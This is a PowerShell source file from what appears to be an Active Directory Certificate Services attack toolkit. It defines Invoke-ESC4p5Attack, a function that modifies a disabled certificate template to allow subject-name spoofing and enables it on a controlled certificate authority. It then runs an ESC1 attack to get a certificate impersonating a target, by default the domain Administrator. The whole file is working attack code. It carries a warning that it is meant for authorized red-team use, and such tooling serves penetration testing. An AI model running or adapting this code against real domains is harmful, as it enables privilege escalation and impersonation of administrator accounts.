Private/Invoke-ESC4p5Attack.ps1
|
function Invoke-ESC4p5Attack { <# .SYNOPSIS Performs an ESC4p5 attack by converting vulnerable templates to ESC1, enabling them on CAs, and executing the attack. .DESCRIPTION This function takes the output from Find-ESC4p5Combo (ESC4 disabled template + ESC5 enrollment service combinations), converts the vulnerable templates to ESC1 vulnerabilities using ConvertTo-ESC1, enables them on the controlled Certificate Authorities using Enable-Template, and then executes the ESC1 attack using Invoke-ESC1Attack. ESC4p5 attacks exploit a combination of: 1. Control over disabled certificate templates (ESC4d) 2. Control over enrollment services/Certificate Authorities (ESC5) The attack process: 1. Convert the disabled template to be ESC1 vulnerable (allow SAN spoofing) 2. Enable the template on the controlled Certificate Authority 3. Execute the ESC1 attack to obtain a certificate impersonating a target principal 4. Use the certificate to authenticate as the target principal .PARAMETER ESC4p5Result A result object from Find-ESC4p5Combo containing ESC4d + ESC5 enrollment service combinations. The object should have VulnerableTemplates, ESC4dIssues, EnrollmentServices, and ESC5EnrollmentIssues properties. .PARAMETER TargetPrincipal DirectoryEntry object representing the security principal to impersonate in the certificate. If not specified, automatically discovers and uses the domain Administrator account (RID 500). .PARAMETER WhatIf Shows what attack would be performed without actually executing the conversion, enablement, or attack. .INPUTS PSCustomObject ESC4p5 result objects from Find-ESC4p5Combo function. .OUTPUTS PSCustomObject[] Returns attack results for each vulnerable template/CA combination that was attacked. .EXAMPLE # Find ESC4p5 vulnerabilities and attack them $esc4p5Results = Find-ESC4p5Combo -Issues $AllIssues $esc4p5Results | Invoke-ESC4p5Attack .EXAMPLE # Attack with specific target principal $targetUser = Resolve-Principal -Identity "Administrator" $esc4p5Results = Find-ESC4p5Combo -Issues $AllIssues Invoke-ESC4p5Attack -ESC4p5Result $esc4p5Results[0] -TargetPrincipal $targetUser .EXAMPLE # Use WhatIf to see what would happen $esc4p5Results = Find-ESC4p5Combo -Issues $AllIssues Invoke-ESC4p5Attack -ESC4p5Result $esc4p5Results[0] -WhatIf .NOTES WARNING: This function performs actual certificate attacks that can compromise security. Only use in authorized penetration testing or red team exercises. Requires: - No external tools; enrollment + PKINIT are pure PowerShell (vendored PSPkinit). - Network access to Certificate Authority - Appropriate permissions to modify certificate templates and CA configurations - Appropriate permissions to enroll certificates .LINK https://posts.specterops.io/certified-pre-owned-d95910965cd2 #> [CmdletBinding(SupportsShouldProcess)] param ( [Parameter(Mandatory, ValueFromPipeline)] [ValidateNotNull()] [PSCustomObject]$ESC4p5Result, [Parameter()] [System.DirectoryServices.DirectoryEntry]$TargetPrincipal ) begin { Write-Verbose "[$(Get-Date -Format 'yyyy-MM-dd hh:mm:ss')] Starting $($MyInvocation.MyCommand) on $env:COMPUTERNAME..." # Initialize results array $attackResults = @() # Get all ADCS objects for CA lookups Write-Verbose "Getting AD CS objects for CA DirectoryEntry lookups..." try { $AdcsObjects = Get-AdcsObjects Write-Verbose "Retrieved $($AdcsObjects.Count) AD CS objects" } catch { throw "Failed to get AD CS objects: $($_.Exception.Message)" } } process { Write-Verbose "Processing ESC4p5 result for principal: $($ESC4p5Result.PrincipalName)" # Validate input object structure if (-not $ESC4p5Result.PSObject.Properties['ESC4dIssues'] -or -not $ESC4p5Result.PSObject.Properties['ESC5EnrollmentIssues'] -or -not $ESC4p5Result.PSObject.Properties['VulnerableTemplates'] -or -not $ESC4p5Result.PSObject.Properties['EnrollmentServices']) { Write-Warning "Invalid ESC4p5Result object. Expected properties: ESC4dIssues, ESC5EnrollmentIssues, VulnerableTemplates, EnrollmentServices" return } if ($ESC4p5Result.ESC4dIssues.Count -eq 0 -or $ESC4p5Result.ESC5EnrollmentIssues.Count -eq 0) { Write-Warning "No ESC4d or ESC5 enrollment issues found in result object for principal: $($ESC4p5Result.PrincipalName)" return } Write-Host "=== ESC4p5 Attack: $($ESC4p5Result.PrincipalName) ===" -ForegroundColor Red Write-Host "Found $($ESC4p5Result.ESC4dIssues.Count) vulnerable template(s): $($ESC4p5Result.VulnerableTemplates -join ', ')" -ForegroundColor Yellow Write-Host "Found $($ESC4p5Result.ESC5EnrollmentIssues.Count) controlled enrollment service(s): $($ESC4p5Result.EnrollmentServices -join ', ')" -ForegroundColor Yellow Write-Host "" # Process each vulnerable template with each controlled enrollment service foreach ($templateName in $ESC4p5Result.VulnerableTemplates) { foreach ($serviceName in $ESC4p5Result.EnrollmentServices) { Write-Host "Attacking template: $templateName via CA: $serviceName" -ForegroundColor Cyan # Find the corresponding ESC4d issue for this template $templateIssue = $ESC4p5Result.ESC4dIssues | Where-Object { $_.DirectoryEntry -and $_.DirectoryEntry.Properties['name'].Value -eq $templateName } | Select-Object -First 1 if (-not $templateIssue) { Write-Warning "Could not find ESC4d issue for template: $templateName" continue } if (-not $templateIssue.DirectoryEntry) { Write-Warning "No DirectoryEntry found for template: $templateName" continue } # Find the corresponding ESC5 enrollment service issue $serviceIssue = $ESC4p5Result.ESC5EnrollmentIssues | Where-Object { $_.Name -eq $serviceName } | Select-Object -First 1 if (-not $serviceIssue) { Write-Warning "Could not find ESC5 enrollment issue for service: $serviceName" continue } # Find the CA DirectoryEntry object from ADCS objects $caDirectoryEntry = $AdcsObjects | Where-Object { $_.ObjectClass -eq 'pKIEnrollmentService' -and $_.Properties['name'].Value -eq $serviceName } | Select-Object -First 1 if (-not $caDirectoryEntry) { Write-Warning "Could not find DirectoryEntry for CA: $serviceName" continue } $templateDirectoryEntry = $templateIssue.DirectoryEntry try { Write-Host " Step 1: Converting template to ESC1 vulnerability..." -ForegroundColor Yellow if ($PSCmdlet.ShouldProcess("Template: $templateName", "Convert to ESC1")) { # Convert the template to ESC1 vulnerable $convertResult = ConvertTo-ESC1 -InputObject $templateDirectoryEntry -PassThru if ($convertResult) { Write-Host " [+] Successfully converted template to ESC1" -ForegroundColor Green Write-Host " Step 2: Enabling template on Certificate Authority..." -ForegroundColor Yellow # Enable the template on the controlled CA $enableResult = Enable-Template -Template $convertResult -CertificateAuthority $caDirectoryEntry -PassThru if ($enableResult -and ($enableResult.Success -or $enableResult.Action -eq "Already Enabled")) { $enableAction = $enableResult.Action -or "Enabled" Write-Host " [+] Successfully enabled template on CA ($enableAction)" -ForegroundColor Green Write-Host " Step 3: Getting CA full name..." -ForegroundColor Yellow # Get the CA full name for certificate enrollment $caFullName = Get-CAFullName -CAObjects $caDirectoryEntry if ($caFullName) { Write-Host " [+] CA full name: $caFullName" -ForegroundColor Green Write-Host " Step 4: Executing ESC1 attack..." -ForegroundColor Yellow # Build parameters for Invoke-ESC1Attack $esc1Params = @{ TemplateObject = $convertResult CertificateAuthority = $caFullName } # Add optional parameters if provided if ($TargetPrincipal) { $esc1Params.TargetPrincipal = $TargetPrincipal } # Execute the ESC1 attack $attackResult = Invoke-ESC1Attack @esc1Params if ($attackResult) { Write-Host " [+] ESC1 attack completed successfully" -ForegroundColor Green # Create comprehensive result object $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC4p5_Attack_Result' PrincipalName = $ESC4p5Result.PrincipalName PrincipalSID = $ESC4p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $caFullName AttackType = "ESC4p5" ConversionSuccess = $true EnablementSuccess = $true AttackSuccess = $true AttackResult = $attackResult TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = $null } $attackResults += $resultObject Write-Host " [+] Attack result stored" -ForegroundColor Green } else { Write-Host " [x] ESC1 attack failed or returned no result" -ForegroundColor Red $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC4p5_Attack_Result' PrincipalName = $ESC4p5Result.PrincipalName PrincipalSID = $ESC4p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $caFullName AttackType = "ESC4p5" ConversionSuccess = $true EnablementSuccess = $true AttackSuccess = $false AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = "ESC1 attack failed or returned no result" } $attackResults += $resultObject } } else { Write-Host " [x] Failed to get CA full name" -ForegroundColor Red $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC4p5_Attack_Result' PrincipalName = $ESC4p5Result.PrincipalName PrincipalSID = $ESC4p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $null AttackType = "ESC4p5" ConversionSuccess = $true EnablementSuccess = $true AttackSuccess = $false AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = "Failed to get CA full name" } $attackResults += $resultObject } } else { $errorMsg = if ($enableResult -and $enableResult.Error) { $enableResult.Error } else { "Unknown error enabling template" } Write-Host " [x] Failed to enable template on CA: $errorMsg" -ForegroundColor Red $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC4p5_Attack_Result' PrincipalName = $ESC4p5Result.PrincipalName PrincipalSID = $ESC4p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $null AttackType = "ESC4p5" ConversionSuccess = $true EnablementSuccess = $false AttackSuccess = $false AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = if ($enableResult -and $enableResult.Error) { $enableResult.Error } else { "Failed to enable template on CA" } } $attackResults += $resultObject } } else { Write-Host " [x] Failed to convert template to ESC1" -ForegroundColor Red $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC4p5_Attack_Result' PrincipalName = $ESC4p5Result.PrincipalName PrincipalSID = $ESC4p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $null AttackType = "ESC4p5" ConversionSuccess = $false EnablementSuccess = $false AttackSuccess = $false AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = "Failed to convert template to ESC1" } $attackResults += $resultObject } } else { Write-Host " [i] WhatIf: Would convert template $templateName to ESC1, enable on CA $serviceName, and execute attack" -ForegroundColor Gray $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC4p5_Attack_Result' PrincipalName = $ESC4p5Result.PrincipalName PrincipalSID = $ESC4p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $null AttackType = "ESC4p5" ConversionSuccess = $null EnablementSuccess = $null AttackSuccess = $null AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = "WhatIf simulation" } $attackResults += $resultObject } } catch { Write-Host " [x] Error during ESC4p5 attack: $($_.Exception.Message)" -ForegroundColor Red Write-Verbose "Full error details: $($_.Exception | Format-List * | Out-String)" $resultObject = [PSCustomObject]@{ PSTypeName = 'ESC4p5_Attack_Result' PrincipalName = $ESC4p5Result.PrincipalName PrincipalSID = $ESC4p5Result.PrincipalSID TemplateName = $templateName CertificateAuthority = $serviceName CAFullName = $null AttackType = "ESC4p5" ConversionSuccess = $false EnablementSuccess = $false AttackSuccess = $false AttackResult = $null TargetPrincipal = $TargetPrincipal Timestamp = Get-Date ErrorMessage = $_.Exception.Message } $attackResults += $resultObject } Write-Host "" } } } end { Write-Verbose "ESC4p5 attack processing complete. Processed $($attackResults.Count) template/CA combination(s)" if ($attackResults.Count -gt 0) { $successfulAttacks = ($attackResults | Where-Object { $_.AttackSuccess -eq $true }).Count $failedAttacks = ($attackResults | Where-Object { $_.AttackSuccess -eq $false }).Count $whatIfAttacks = ($attackResults | Where-Object { $null -eq $_.AttackSuccess }).Count Write-Verbose "Attack Summary:" Write-Verbose " Successful attacks: $successfulAttacks" Write-Verbose " Failed attacks: $failedAttacks" Write-Verbose " WhatIf simulations: $whatIfAttacks" # Summary by template $templateSummary = $attackResults | Group-Object TemplateName Write-Verbose "Template Attack Summary:" foreach ($template in $templateSummary) { $successful = ($template.Group | Where-Object { $_.AttackSuccess -eq $true }).Count $total = $template.Count Write-Verbose " Template '$($template.Name)': $successful/$total successful attacks" } } Write-Verbose "[$(Get-Date -Format 'yyyy-MM-dd hh:mm:ss')] Finishing $($MyInvocation.MyCommand) on $env:COMPUTERNAME..." # Return the attack results return $attackResults } } |